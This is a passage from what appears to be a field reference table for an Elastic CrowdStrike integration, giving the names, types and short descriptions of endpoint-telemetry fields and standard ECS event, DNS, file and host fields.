crowdstrike.OciContainerInfoRetransmitted | | match_only_text | -| crowdstrike.OciContainerMounts | | match_only_text | -| crowdstrike.OciContainerName | | match_only_text | -| crowdstrike.OciContainerNetworkSettingsIpAddress | | match_only_text | -| crowdstrike.OciContainerPhase | | match_only_text | -| crowdstrike.OciContainerStateOOMKilled | | match_only_text | -| crowdstrike.OciContainerStatePid | | match_only_text | -| crowdstrike.OciContainersStartedCount | | match_only_text | -| crowdstrike.OciContainersStoppedCount | | match_only_text | -| crowdstrike.OnLinkPrefixLength | | keyword | -| crowdstrike.OperStatus | | keyword | -| crowdstrike.OperationFlags | | keyword | -| crowdstrike.Options | | keyword | -| crowdstrike.OriginWebLocations | | flattened | -| crowdstrike.OriginalContentLength | | keyword | -| crowdstrike.OriginalEventTimeStamp | | keyword | -| crowdstrike.OriginalFilename | | keyword | -| crowdstrike.OriginalParentAuthenticationId | | keyword | -| crowdstrike.OriginalUserName | | keyword | -| crowdstrike.OriginalUserSid | | keyword | -| crowdstrike.OutBroadcastOctets | | keyword | -| crowdstrike.OutDiscards | | keyword | -| crowdstrike.OutErrors | | keyword | -| crowdstrike.OutMulticastOctets | | keyword | -| crowdstrike.OutMulticastPkts | | keyword | -| crowdstrike.OutNUcastPkts | | keyword | -| crowdstrike.OutOctets | | keyword | -| crowdstrike.OutUcastOctets | | keyword | -| crowdstrike.OutUcastPkts | | keyword | -| crowdstrike.Parameter1 | | keyword | -| crowdstrike.Parameter2 | | keyword | -| crowdstrike.Parameter3 | | keyword | -| crowdstrike.Parameter64_1 | | keyword | -| crowdstrike.Parameter64_2 | | keyword | -| crowdstrike.Parameter64_3 | | keyword | -| crowdstrike.ParentAuthenticationId | | keyword | -| crowdstrike.ParentCommandLine | | keyword | -| crowdstrike.ParentCommandLine.text | Multi-field of `crowdstrike.ParentCommandLine`. | match_only_text | -| crowdstrike.ParentImageFileName | | keyword | -| crowdstrike.ParentImageFilePath | | keyword | -| crowdstrike.ParentProcessPatternIdList | | keyword | -| crowdstrike.PasswordLastSet | | keyword | -| crowdstrike.PathMtuDiscoveryTimeout | | keyword | -| crowdstrike.PatternDispositionDescription | | keyword | -| crowdstrike.PatternDispositionFlags.BlockingUnsupportedOrDisabled | | boolean | -| crowdstrike.PatternDispositionFlags.BootupSafeguardEnabled | | boolean | -| crowdstrike.PatternDispositionFlags.ContainmentFileSystem | | boolean | -| crowdstrike.PatternDispositionFlags.CriticalProcessDisabled | | boolean | -| crowdstrike.PatternDispositionFlags.Detect | | boolean | -| crowdstrike.PatternDispositionFlags.FsOperationBlocked | | boolean | -| crowdstrike.PatternDispositionFlags.HandleOperationDowngraded | | boolean | -| crowdstrike.PatternDispositionFlags.InddetMask | | boolean | -| crowdstrike.PatternDispositionFlags.Indicator | | boolean | -| crowdstrike.PatternDispositionFlags.KillActionFailed | | boolean | -| crowdstrike.PatternDispositionFlags.KillParent | | boolean | -| crowdstrike.PatternDispositionFlags.KillProcess | | boolean | -| crowdstrike.PatternDispositionFlags.KillSubProcess | | boolean | -| crowdstrike.PatternDispositionFlags.OperationBlocked | | boolean | -| crowdstrike.PatternDispositionFlags.PolicyDisabled | | boolean | -| crowdstrike.PatternDispositionFlags.ProcessBlocked | | boolean | -| crowdstrike.PatternDispositionFlags.QuarantineFile | | boolean | -| crowdstrike.PatternDispositionFlags.QuarantineMachine | | boolean | -| crowdstrike.PatternDispositionFlags.RegistryOperationBlocked | | boolean | -| crowdstrike.PatternDispositionFlags.Rooting | | boolean | -| crowdstrike.PatternDispositionFlags.SensorOnly | | boolean | -| crowdstrike.PatternDispositionFlags.SuspendParent | | boolean | -| crowdstrike.PatternDispositionFlags.SuspendProcess | | boolean | -| crowdstrike.PatternDispositionValue | | long | -| crowdstrike.PatternId | | keyword | -| crowdstrike.PatternIdList | | match_only_text | -| crowdstrike.PciAttachmentState | | keyword | -| crowdstrike.PciConfigDataBdsm | | match_only_text | -| crowdstrike.PciConfigDataBiosCntl | | match_only_text | -| crowdstrike.PciConfigDataGenPmconA | | match_only_text | -| crowdstrike.PciConfigDataGgc | | match_only_text | -| crowdstrike.PciConfigDataHfsts1 | | match_only_text | -| crowdstrike.PciConfigDataMesegBase | | match_only_text | -| crowdstrike.PciConfigDataRemapbase | | match_only_text | -| crowdstrike.PciConfigDataRemaplimit | | match_only_text | -| crowdstrike.PciConfigDataSmramc | | match_only_text | -| crowdstrike.PciConfigDataTom | | match_only_text | -| crowdstrike.PciConfigDataTouud | | match_only_text | -| crowdstrike.PciConfigDataTsegmb | | match_only_text | -| crowdstrike.Pcr0 | | match_only_text | -| crowdstrike.Pcr1 | | match_only_text | -| crowdstrike.Pcr2 | | match_only_text | -| crowdstrike.Pcr3 | | match_only_text | -| crowdstrike.Pcr4 | | match_only_text | -| crowdstrike.Pcr5 | | match_only_text | -| crowdstrike.Pcr6 | | match_only_text | -| crowdstrike.Pcr7 | | match_only_text | -| crowdstrike.PendingUpdateIds | | match_only_text | -| crowdstrike.PerformanceCounter | | keyword | -| crowdstrike.PermanentPhysicalAddress | | keyword | -| crowdstrike.PhysicalAddress | | keyword | -| crowdstrike.PhysicalAddressLength | | long | -| crowdstrike.PhysicalCoreCount | | long | -| crowdstrike.PhysicalMediumType | | keyword | -| crowdstrike.PlatformId | | keyword | -| crowdstrike.PlatformName | | keyword | -| crowdstrike.PointerSize | | keyword | -| crowdstrike.Policy.ID | | keyword | -| crowdstrike.Policy.Name | | keyword | -| crowdstrike.PolicyRuleSeverity | | long | -| crowdstrike.PreferredLifetime | | keyword | -| crowdstrike.PrefixLength | | keyword | -| crowdstrike.PrefixOrigin | | keyword | -| crowdstrike.Prevalence.Key | | keyword | -| crowdstrike.PreviousConnectTime | | date | -| crowdstrike.PreviousFileAttributesLinux | | keyword | -| crowdstrike.PreviousUnixPermissions | | keyword | -| crowdstrike.PrimaryModule | | keyword | -| crowdstrike.PrivilegedProcessHandleCount | | long | -| crowdstrike.PrivilegesBitmask | | keyword | -| crowdstrike.ProcessAttributes | | match_only_text | -| crowdstrike.ProcessCount | | long | -| crowdstrike.ProcessCreateFlags | | keyword | -| crowdstrike.ProcessId | | long | -| crowdstrike.ProcessParameterFlags | | keyword | -| crowdstrike.ProcessStartKey | | keyword | -| crowdstrike.ProcessSxsFlags | | keyword | -| crowdstrike.ProcessorPackageCount | | long | -| crowdstrike.ProductType | | keyword | -| crowdstrike.ProtectVirtualMemoryCount | | long | -| crowdstrike.ProvisionState | | keyword | -| crowdstrike.PublicKeys | | keyword | -| crowdstrike.PupAdwareConfidence | | keyword | -| crowdstrike.PupAdwareDecisionValue | | keyword | -| crowdstrike.QuarantinedFileExtendedState | | match_only_text | -| crowdstrike.QuarantinedFileName | | match_only_text | -| crowdstrike.QuarantinedFileState | | match_only_text | -| crowdstrike.QueryStatus | | integer | -| crowdstrike.QueueApcCount | | long | -| crowdstrike.RFMState | | keyword | -| crowdstrike.RGID | | keyword | -| crowdstrike.RPath | | match_only_text | -| crowdstrike.RTRState | | keyword | -| crowdstrike.RUID | | keyword | -| crowdstrike.RawThreadId | | keyword | -| crowdstrike.ReachableTime | | keyword | -| crowdstrike.ReasonOfFunctionalityLevel | | keyword | -| crowdstrike.ReceiveLinkSpeed | | keyword | -| crowdstrike.ReferrerUrl | | keyword | -| crowdstrike.RegBinaryValue | | match_only_text | -| crowdstrike.RegClassification | | keyword | -| crowdstrike.RegClassificationFlags | | keyword | -| crowdstrike.RegClassificationIndex | | keyword | -| crowdstrike.RegConfigClass | | keyword | -| crowdstrike.RegConfigFlags | | keyword | -| crowdstrike.RegConfigIndex | | keyword | -| crowdstrike.RegConfigValueType | | keyword | -| crowdstrike.RegCreateDisposition | | match_only_text | -| crowdstrike.RegCreateOptions | | match_only_text | -| crowdstrike.RegKeySecurityDecreasedCount | | long | -| crowdstrike.RegObjectName | | keyword | -| crowdstrike.RegOperationType | | keyword | -| crowdstrike.RegPostObjectName | | match_only_text | -| crowdstrike.RegRootObjectName | | match_only_text | -| crowdstrike.RegStringValue | | match_only_text | -| crowdstrike.RegType | | keyword | -| crowdstrike.RegValueName | | keyword | -| crowdstrike.RelatedClassifications.ID | | keyword | -| crowdstrike.RelatedClassifications.Name | | keyword | -| crowdstrike.RemoteAccount | | keyword | -| crowdstrike.RemoteAddressMaskIP4 | | keyword | -| crowdstrike.RemoteAddressMaskIP6 | | keyword | -| crowdstrike.RemoteAddressString | | keyword | -| crowdstrike.RemovableDiskFileWrittenCount | | long | -| crowdstrike.RequestType | | keyword | -| crowdstrike.ResendToCloud | | keyword | -| crowdstrike.ResourceAttributes | | flattened | -| crowdstrike.ResourceCreateTime | | date | -| crowdstrike.ResourceId | | keyword | -| crowdstrike.ResourceIdType | | keyword | -| crowdstrike.RespondingDnsServer | | keyword | -| crowdstrike.ResponseAction | | keyword | -| crowdstrike.RetransmitTime | | keyword | -| crowdstrike.RootPath | | keyword | -| crowdstrike.RouteAge | | keyword | -| crowdstrike.RouteMetric | | keyword | -| crowdstrike.RouteOrigin | | keyword | -| crowdstrike.RouterDiscoveryBehavior | | keyword | -| crowdstrike.RpcClientProcessId | | keyword | -| crowdstrike.RpcClientThreadId | | keyword | -| crowdstrike.RpcNestingLevel | | keyword | -| crowdstrike.RpcOpClassification | | match_only_text | -| crowdstrike.RpcOpNum | | keyword | -| crowdstrike.RuleId | | keyword | -| crowdstrike.RunDllInvocationCount | | long | -| crowdstrike.SHA1HashData | | keyword | -| crowdstrike.SHA1String | | keyword | -| crowdstrike.SHA256HashData | | keyword | -| crowdstrike.SHA256String | | keyword | -| crowdstrike.SVGID | | keyword | -| crowdstrike.SVUID | | keyword | -| crowdstrike.SamAccountName | | match_only_text | -| crowdstrike.ScopeLevel | | keyword | -| crowdstrike.ScopeZone | | keyword | -| crowdstrike.ScreenshotType | | keyword | -| crowdstrike.ScreenshotsTakenCount | | long | -| crowdstrike.ScriptContent | | match_only_text | -| crowdstrike.ScriptContentBytes | | match_only_text | -| crowdstrike.ScriptContentName | | keyword | -| crowdstrike.ScriptContentScanId | | match_only_text | -| crowdstrike.ScriptControlErrorCode | | keyword | -| crowdstrike.ScriptEngineInvocationCount | | long | -| crowdstrike.ScriptingLanguageId | | keyword | -| crowdstrike.SecurityInformationLinux | | keyword | -| crowdstrike.SensorGroupingTags | | keyword | -| crowdstrike.SensorId | | keyword | -| crowdstrike.SensorStateBitMap | | keyword | -| crowdstrike.ServiceAccessPropertiesEtw | | match_only_text | -| crowdstrike.ServiceCurrentState | | keyword | -| crowdstrike.ServiceDelayedAutoStart | | match_only_text | -| crowdstrike.ServiceDependOnService | | match_only_text | -| crowdstrike.ServiceDescription | | keyword | -| crowdstrike.ServiceDisplayName | | keyword | -| crowdstrike.ServiceErrorControl | | keyword | -| crowdstrike.ServiceEventCount | | long | -| crowdstrike.ServiceFailureActions | | keyword | -| crowdstrike.ServiceImagePath | | keyword | -| crowdstrike.ServicePackMajor | | keyword | -| crowdstrike.ServiceSecurity | | keyword | -| crowdstrike.ServiceStart | | keyword | -| crowdstrike.ServiceType | | keyword | -| crowdstrike.SessionId | | keyword | -| crowdstrike.SessionProcessId | | keyword | -| crowdstrike.SetThreadContextCount | | long | -| crowdstrike.Severity | | integer | -| crowdstrike.SeverityName | | keyword | -| crowdstrike.ShannonEntropy | | keyword | -| crowdstrike.ShareAccess | | keyword | -| crowdstrike.ShareName | | keyword | -| crowdstrike.ShareSecurity | | keyword | -| crowdstrike.ShareSecuritySddl | | keyword | -| crowdstrike.SignInfoFlags | | keyword | -| crowdstrike.SignatureErrorState | | keyword | -| crowdstrike.SignatureState | | keyword | -| crowdstrike.SiteName | | keyword | -| crowdstrike.SitePrefixLength | | keyword | -| crowdstrike.Size | | long | -| crowdstrike.SkipAsSource | | keyword | -| crowdstrike.SmbClientName | | keyword | -| crowdstrike.SmbShareName | | keyword | -| crowdstrike.SnapshotFileOpenCount | | long | -| crowdstrike.SourceAccountDomain | | keyword | -| crowdstrike.SourceAccountObjectGuid | | keyword | -| crowdstrike.SourceAccountObjectSid | | keyword | -| crowdstrike.SourceAccountSamAccountName | | keyword | -| crowdstrike.SourceEndpointAccountObjectGuid | | keyword | -| crowdstrike.SourceEndpointAccountObjectSid | | keyword | -| crowdstrike.SourceEndpointAddressIP4 | | keyword | -| crowdstrike.SourceEndpointHostName | | keyword | -| crowdstrike.SourceEndpointNetworkTag | | keyword | -| crowdstrike.SourceEndpointNetworkType | | keyword | -| crowdstrike.SourceEventUniqueId | | keyword | -| crowdstrike.SourceFileName | | keyword | -| crowdstrike.SourceProcessId | | keyword | -| crowdstrike.SourceProducts | | keyword | -| crowdstrike.SourceThreadId | | keyword | -| crowdstrike.SourceThreadModule | | match_only_text | -| crowdstrike.SourceThreadStartAddress | | keyword | -| crowdstrike.SourceVendors | | keyword | -| crowdstrike.SpibarDataBfpr | | match_only_text | -| crowdstrike.SpibarDataFreg0 | | match_only_text | -| crowdstrike.SpibarDataFreg1 | | match_only_text | -| crowdstrike.SpibarDataFreg2 | | match_only_text | -| crowdstrike.SpibarDataFreg3 | | match_only_text | -| crowdstrike.SpibarDataFreg4 | | match_only_text | -| crowdstrike.SpibarDataHsfs | | match_only_text | -| crowdstrike.SpibarDataPr0 | | match_only_text | -| crowdstrike.SpibarDataPr1 | | match_only_text | -| crowdstrike.SpibarDataPr2 | | match_only_text | -| crowdstrike.SpibarDataPr3 | | match_only_text | -| crowdstrike.SpibarDataPr4 | | match_only_text | -| crowdstrike.SpibarDataVscc0 | | match_only_text | -| crowdstrike.SpibarDataVscc1 | | match_only_text | -| crowdstrike.StartTime | | date | -| crowdstrike.Status | | keyword | -| crowdstrike.StorageUsageInfo | | match_only_text | -| crowdstrike.SubStatus | | keyword | -| crowdstrike.SubjectDomainNameEtw | | match_only_text | -| crowdstrike.SuffixOrigin | | keyword | -| crowdstrike.SuppressType | | keyword | -| crowdstrike.Suppression.Suppressed | | boolean | -| crowdstrike.SuspectStackCount | | long | -| crowdstrike.SuspiciousCredentialModuleLoadCount | | long | -| crowdstrike.SuspiciousDnsRequestCount | | long | -| crowdstrike.SuspiciousFontLoadCount | | long | -| crowdstrike.SuspiciousRawDiskReadCount | | long | -| crowdstrike.SymbolicLinkName | | keyword | -| crowdstrike.SymbolicLinkTarget | | keyword | -| crowdstrike.SyntheticPR2Flags | | keyword | -| crowdstrike.SystemManufacturer | | keyword | -| crowdstrike.SystemProcessCount | | match_only_text | -| crowdstrike.SystemProductName | | keyword | -| crowdstrike.SystemSerialNumber | | keyword | -| crowdstrike.SystemSku | | keyword | -| crowdstrike.SystemTableIndex | | long | -| crowdstrike.Tactic | | keyword | -| crowdstrike.Tags | | keyword | -| crowdstrike.TargetAuthenticationId | | keyword | -| crowdstrike.TargetCommandLineParameters | | keyword | -| crowdstrike.TargetDomainControllerObjectGuid | | keyword | -| crowdstrike.TargetDomainControllerObjectSid | | keyword | -| crowdstrike.TargetFileName | | keyword | -| crowdstrike.TargetIntegrityLevel | | keyword | -| crowdstrike.TargetProcessCommandLine | | keyword | -| crowdstrike.TargetProcessImageFileName | | keyword | -| crowdstrike.TargetSHA256HashData | | keyword | -| crowdstrike.TargetThreadId | | keyword | -| crowdstrike.TargetThreadModule | | keyword | -| crowdstrike.TaskAuthor | | keyword | -| crowdstrike.TaskExecArguments | | keyword | -| crowdstrike.TaskExecCommand | | keyword | -| crowdstrike.TaskName | | keyword | -| crowdstrike.TaskXml | | match_only_text | -| crowdstrike.Technique | | keyword | -| crowdstrike.TemplateDisposition | | keyword | -| crowdstrike.TemplateInstanceId | | keyword | -| crowdstrike.ThreadStartAddress | | keyword | -| crowdstrike.ThreadStartBytes | | match_only_text | -| crowdstrike.ThreadStartContext | | keyword | -| crowdstrike.Timeout | | long | -| crowdstrike.TokenType | | keyword | -| crowdstrike.TotalCount | | long | -| crowdstrike.TransmitLinkSpeed | | keyword | -| crowdstrike.TreeId | | keyword | -| crowdstrike.TunnelType | | keyword | -| crowdstrike.Type | The endpoint detection type ("ldt": Legacy Endpoint Detection, or "ofp": Office Prevention Macro Detection). | keyword | -| crowdstrike.USN | | keyword | -| crowdstrike.UninstallPendingUpdateIds | | match_only_text | -| crowdstrike.UnixMode | | keyword | -| crowdstrike.UnsignedModuleLoadCount | | long | -| crowdstrike.UpdateFlag | | keyword | -| crowdstrike.UploadId | | keyword | -| crowdstrike.User | | keyword | -| crowdstrike.UserDepartment | | keyword | -| crowdstrike.UserFlags | | keyword | -| crowdstrike.UserGroupsBitmask | | keyword | -| crowdstrike.UserLogoffType | | keyword | -| crowdstrike.UserLogonFlags | | keyword | -| crowdstrike.UserLogonFlags_decimal | | keyword | -| crowdstrike.UserMapped | | boolean | -| crowdstrike.UserMemoryAllocateExecutableCount | | long | -| crowdstrike.UserMemoryAllocateExecutableRemoteCount | | long | -| crowdstrike.UserMemoryProtectExecutableCount | | long | -| crowdstrike.UserMemoryProtectExecutableRemoteCount | | long | -| crowdstrike.UserName | | keyword | -| crowdstrike.UserNotified | | boolean | -| crowdstrike.UserRid | | keyword | -| crowdstrike.UserSid | | keyword | -| crowdstrike.UserSid_readable | | keyword | -| crowdstrike.UserThread | | keyword | -| crowdstrike.UserTime | | long | -| crowdstrike.UserTitle | | keyword | -| crowdstrike.ValidLifetime | | keyword | -| crowdstrike.VerifiedCertificate | | keyword | -| crowdstrike.VersionInfo | | match_only_text | -| crowdstrike.VnodeModificationType | | keyword | -| crowdstrike.VnodeType | | keyword | -| crowdstrike.VolumeAppearanceTime | | keyword | -| crowdstrike.VolumeBusName | | keyword | -| crowdstrike.VolumeBusPath | | keyword | -| crowdstrike.VolumeDeviceCharacteristics | | keyword | -| crowdstrike.VolumeDeviceInternal | | keyword | -| crowdstrike.VolumeDeviceModel | | keyword | -| crowdstrike.VolumeDeviceObjectFlags | | keyword | -| crowdstrike.VolumeDevicePath | | keyword | -| crowdstrike.VolumeDeviceProtocol | | keyword | -| crowdstrike.VolumeDeviceRevision | | keyword | -| crowdstrike.VolumeDeviceType | | keyword | -| crowdstrike.VolumeDeviceVendor | | match_only_text | -| crowdstrike.VolumeDriveLetter | | keyword | -| crowdstrike.VolumeEncryptionStatus | | keyword | -| crowdstrike.VolumeFileSystemDevice | | keyword | -| crowdstrike.VolumeFileSystemDriver | | keyword | -| crowdstrike.VolumeFileSystemType | | keyword | -| crowdstrike.VolumeIsEncrypted | | keyword | -| crowdstrike.VolumeIsNetwork | | keyword | -| crowdstrike.VolumeLabel | | keyword | -| crowdstrike.VolumeMediaBSDMajor | | keyword | -| crowdstrike.VolumeMediaBSDMinor | | keyword | -| crowdstrike.VolumeMediaBSDName | | keyword | -| crowdstrike.VolumeMediaBSDUnit | | keyword | -| crowdstrike.VolumeMediaContent | | keyword | -| crowdstrike.VolumeMediaEjectable | | keyword | -| crowdstrike.VolumeMediaName | | keyword | -| crowdstrike.VolumeMediaPath | | keyword | -| crowdstrike.VolumeMediaRemovable | | keyword | -| crowdstrike.VolumeMediaSize | | keyword | -| crowdstrike.VolumeMediaUUID | | keyword | -| crowdstrike.VolumeMediaWhole | | keyword | -| crowdstrike.VolumeMediaWritable | | keyword | -| crowdstrike.VolumeMountPoint | | keyword | -| crowdstrike.VolumeName | | keyword | -| crowdstrike.VolumeOriginPath | | match_only_text | -| crowdstrike.VolumeRealDeviceName | | keyword | -| crowdstrike.VolumeSectorSize | | keyword | -| crowdstrike.VolumeSessionUUID | | keyword | -| crowdstrike.VolumeSnapshotName | | match_only_text | -| crowdstrike.VolumeSnapshotTimeStamp | | match_only_text | -| crowdstrike.VolumeType | | keyword | -| crowdstrike.VolumeUUID | | keyword | -| crowdstrike.WindowFlags | | keyword | -| crowdstrike.WmiNamespaceName | | keyword | -| crowdstrike.WmiProviderName | | keyword | -| crowdstrike.WmiProviderType | | keyword | -| crowdstrike.WmiQuery | | keyword | -| crowdstrike.__mv_LocalAddressIP4 | | keyword | -| crowdstrike.__mv_aip | | keyword | -| crowdstrike.__mv_discoverer_aid | | keyword | -| crowdstrike.aid | | keyword | -| crowdstrike.aipCount | | integer | -| crowdstrike.assessments | | flattened | -| crowdstrike.attack_types | | keyword | -| crowdstrike.aws_account_id | | keyword | -| crowdstrike.cid | | keyword | -| crowdstrike.cis_benchmark_ids | | keyword | -| crowdstrike.cisa_benchmark_ids | | keyword | -| crowdstrike.cloud_asset_type | | long | -| crowdstrike.cloudplatform | | keyword | -| crowdstrike.compliance.benchmarkNames | | keyword | -| crowdstrike.compliance.frameworks | | keyword | -| crowdstrike.compliance.requirements | | keyword | -| crowdstrike.compliance.sections | | keyword | -| crowdstrike.compliance.versions | | keyword | -| crowdstrike.created | | date | -| crowdstrike.crn | | keyword | -| crowdstrike.discovererCount | | integer | -| crowdstrike.discoverer_aid | | keyword | -| crowdstrike.disposition | | keyword | -| crowdstrike.eid | | integer | -| crowdstrike.event-type | | keyword | -| crowdstrike.event_category | | keyword | -| crowdstrike.finding | | keyword | -| crowdstrike.findings.name | | keyword | -| crowdstrike.findings.value | | keyword | -| crowdstrike.firstDetected | | date | -| crowdstrike.hostname | | keyword | -| crowdstrike.id | | keyword | -| crowdstrike.info.host.\* | Host information enriched from aidmaster data. | object | -| crowdstrike.info.user.\* | User information enriched from userinfo data. | object | -| crowdstrike.internal_only | | boolean | -| crowdstrike.iso_benchmark_ids | | keyword | -| crowdstrike.lastDetected | | date | -| crowdstrike.legacyPolicyId | | long | -| crowdstrike.localipCount | | integer | -| crowdstrike.management_event | | boolean | -| crowdstrike.monthsincereset | | keyword | -| crowdstrike.name | | keyword | -| crowdstrike.nist_benchmark_ids | | keyword | -| crowdstrike.os_version | | keyword | -| crowdstrike.pci_benchmark_ids | | keyword | -| crowdstrike.policy_severity | | long | -| crowdstrike.product_type_desc | | keyword | -| crowdstrike.read_only | | boolean | -| crowdstrike.request_id | | keyword | -| crowdstrike.request_parameters | | keyword | -| crowdstrike.resource.captured | | date | -| crowdstrike.resource.legacyResourceId | | keyword | -| crowdstrike.resource.legacyResourceTypeId | | long | -| crowdstrike.resource.resourceId | | keyword | -| crowdstrike.resource.resourceType | | keyword | -| crowdstrike.resource_url | | keyword | -| crowdstrike.response_elements | | keyword | -| crowdstrike.revision | | long | -| crowdstrike.scores.modified_time | | date | -| crowdstrike.scores.os | | long | -| crowdstrike.scores.overall | | long | -| crowdstrike.scores.sensor | | long | -| crowdstrike.scores.version | | keyword | -| crowdstrike.service | | keyword | -| crowdstrike.soc2_benchmark_ids | | keyword | -| crowdstrike.status | | keyword | -| crowdstrike.subnet | | keyword | -| crowdstrike.url | | keyword | -| crowdstrike.user_identity_access_key_id | | keyword | -| crowdstrike.user_identity_account_id | | keyword | -| crowdstrike.user_identity_arn | | keyword | -| crowdstrike.user_identity_mfa_authenticated | | boolean | -| crowdstrike.vertex_id | | keyword | -| crowdstrike.vertex_type | | keyword | -| data_stream.dataset | Data stream dataset. | constant_keyword | -| data_stream.namespace | Data stream namespace. | constant_keyword | -| data_stream.type | Data stream type. | constant_keyword | -| destination.address | Some event destination addresses are defined ambiguously. The event will sometimes list an IP, a domain or a unix socket. You should always store the raw address in the `.address` field. Then it should be duplicated to `.ip` or `.domain`, depending on which one it is. | keyword | -| destination.as.number | Unique number allocated to the autonomous system. The autonomous system number (ASN) uniquely identifies each network on the Internet. | long | -| destination.as.organization.name | Organization name. | keyword | -| destination.as.organization.name.text | Multi-field of `destination.as.organization.name`. | match_only_text | -| destination.geo.city_name | City name. | keyword | -| destination.geo.continent_name | Name of the continent. | keyword | -| destination.geo.country_iso_code | Country ISO code. | keyword | -| destination.geo.country_name | Country name. | keyword | -| destination.geo.location | Longitude and latitude. | geo_point | -| destination.geo.region_iso_code | Region ISO code. | keyword | -| destination.geo.region_name | Region name. | keyword | -| destination.ip | IP address of the destination (IPv4 or IPv6). | ip | -| destination.port | Port of the destination. | long | -| device.id | The unique identifier of a device. The identifier must not change across application sessions but stay fixed for an instance of a (mobile) device. On iOS, this value must be equal to the vendor identifier (https://developer.apple.com/documentation/uikit/uidevice/1620059-identifierforvendor). On Android, this value must be equal to the Firebase Installation ID or a globally unique UUID which is persisted across sessions in your application. For GDPR and data protection law reasons this identifier should not carry information that would allow to identify a user. | keyword | -| dll.Ext.size | Size of DLL. | long | -| dns.question.name | The name being queried. If the name field contains non-printable characters (below 32 or above 126), those characters should be represented as escaped base 10 integers (\DDD). Back slashes and quotes should be escaped. Tabs, carriage returns, and line feeds should be converted to \t, \r, and \n respectively. | keyword | -| dns.question.registered_domain | The highest registered domain, stripped of the subdomain. For example, the registered domain for "foo.example.com" is "example.com". This value can be determined precisely with a list like the public suffix list (https://publicsuffix.org). Trying to approximate this by simply taking the last two labels will not work well for TLDs such as "co.uk". | keyword | -| dns.question.subdomain | The subdomain is all of the labels under the registered_domain. If the domain has multiple levels of subdomain, such as "sub2.sub1.example.com", the subdomain field should contain "sub2.sub1", with no trailing period. | keyword | -| dns.question.top_level_domain | The effective top level domain (eTLD), also known as the domain suffix, is the last part of the domain name. For example, the top level domain for example.com is "com". This value can be determined precisely with a list like the public suffix list (https://publicsuffix.org). Trying to approximate this by simply taking the last label will not work well for effective TLDs such as "co.uk". | keyword | -| dns.question.type | The type of record being queried. | keyword | -| dns.type | The type of DNS event captured, query or answer. If your source of DNS events only gives you DNS queries, you should only create dns events of type `dns.type:query`. If your source of DNS events gives you answers as well, you should create one event per query (optionally as soon as the query is seen). And a second event containing all query details as well as an array of answers. | keyword | -| ecs.version | ECS version this event conforms to. `ecs.version` is a required field and must exist in all events. When querying across multiple indices -- which may conform to slightly different ECS versions -- this field lets integrations adjust to the schema version of the events. | constant_keyword | -| event.action | The action captured by the event. This describes the information in the event. It is more specific than `event.category`. Examples are `group-add`, `process-started`, `file-created`. The value is normally defined by the implementer. | keyword | -| event.category | This is one of four ECS Categorization Fields, and indicates the second level in the ECS category hierarchy. `event.category` represents the "big buckets" of ECS categories. For example, filtering on `event.category:process` yields all events relating to process activity. This field is closely related to `event.type`, which is used as a subcategory. This field is an array. This will allow proper categorization of some events that fall in multiple categories. | keyword | -| event.created | `event.created` contains the date/time when the event was first read by an agent, or by your pipeline. This field is distinct from `@timestamp` in that `@timestamp` typically contain the time extracted from the original event. In most situations, these two timestamps will be slightly different. The difference can be used to calculate the delay between your source generating an event, and the time when your agent first processed it. This can be used to monitor your agent's or pipeline's ability to keep up with your event source. In case the two timestamps are identical, `@timestamp` should be used. | date | -| event.dataset | Event dataset | constant_keyword | -| event.id | Unique ID to describe the event. | keyword | -| event.kind | This is one of four ECS Categorization Fields, and indicates the highest level in the ECS category hierarchy. `event.kind` gives high-level information about what type of information the event contains, without being specific to the contents of the event. For example, values of this field distinguish alert events from metric events. The value of this field can be used to inform how these kinds of events should be handled. They may warrant different retention, different access control, it may also help understand whether the data is coming in at a regular interval or not. | keyword | -| event.module | Event module | constant_keyword | -| event.original | Raw text message of entire event. Used to demonstrate log integrity or where the full log message (before splitting it up in multiple parts) may be required, e.g. for reindex. This field is not indexed and doc_values are disabled. It cannot be searched, but it can be retrieved from `_source`. If users wish to override this and index this field, please see `Field data types` in the `Elasticsearch Reference`. | keyword | -| event.outcome | This is one of four ECS Categorization Fields, and indicates the lowest level in the ECS category hierarchy. `event.outcome` simply denotes whether the event represents a success or a failure from the perspective of the entity that produced the event. Note that when a single transaction is described in multiple events, each event may populate different values of `event.outcome`, according to their perspective. Also note that in the case of a compound event (a single event that contains multiple logical events), this field should be populated with the value that best captures the overall success or failure from the perspective of the event producer. Further note that not all events will have an associated outcome. For example, this field is generally not populated for metric events, events with `event.type:info`, or any events for which an outcome does not make logical sense. | keyword | -| event.timezone | This field should be populated when the event's timestamp does not include timezone information already (e.g. default Syslog timestamps). It's optional otherwise. Acceptable timezone formats are: a canonical ID (e.g. "Europe/Amsterdam"), abbreviated (e.g. "EST") or an HH:mm differential (e.g. "-05:00"). | keyword | -| event.type | This is one of four ECS Categorization Fields, and indicates the third level in the ECS category hierarchy. `event.type` represents a categorization "sub-bucket" that, when used along with the `event.category` field values, enables filtering events down to a level appropriate for single visualization. This field is an array. This will allow proper categorization of some events that fall in multiple event types. | keyword | -| file.Ext.original.name | | keyword | -| file.Ext.original.path | | keyword | -| file.device | Device that is the source of the file. | keyword | -| file.directory | Directory where the file is located. It should include the drive letter, when appropriate. | keyword | -| file.drive_letter | Drive letter where the file is located. This field is only relevant on Windows. The value should be uppercase, and not include the colon. | keyword | -| file.extension | File extension, excluding the leading dot. Note that when the file name has multiple extensions (example.tar.gz), only the last one should be captured ("gz", not "tar.gz"). | keyword | -| file.hash.sha256 | SHA256 hash. | keyword | -| file.inode | Inode representing the file in the filesystem. | keyword | -| file.name | Name of the file including the extension, without the directory. | keyword | -| file.path | Full path to the file, including the file name. It should include the drive letter, when appropriate. | keyword | -| file.path.text | Multi-field of `file.path`. | match_only_text | -| file.size | File size in bytes. Only relevant when `file.type` is "file". | long | -| file.type | File type (file, dir, or symlink). | keyword | -| group.Ext.real.id | Unique identifier for the group on the system/platform. | keyword | -| group.id | Unique identifier for the group on the system/platform. | keyword | -| host.domain | Name of the domain of which the host is a member. For example, on Windows this could be the host's Active Directory domain or NetBIOS domain name. For Linux this could be the domain of the host's LDAP provider. | keyword | -| host.geo.city_name | City name. | keyword | -| host.geo.continent_name | Name of the continent. | keyword | -| host.geo.country_name | Country name. | keyword | -| host.geo.timezone | The time zone of the location, such as IANA time zone name. | keyword | -| host.hostname | Hostname of the host. It normally contains what the `hostname` command returns on the host machine. | keyword | -| host.ip | Host ip addresses. | ip | -| host.name | Name of the host. It can contain what hostname returns on Unix systems, the fully qualified domain name (FQDN), or a name specified by the user. The recommended value is the lowercase FQDN of the host. | keyword | -| host.os.type | Use the `os.type` field to categorize the operating system into one of the broad commercial families. If the 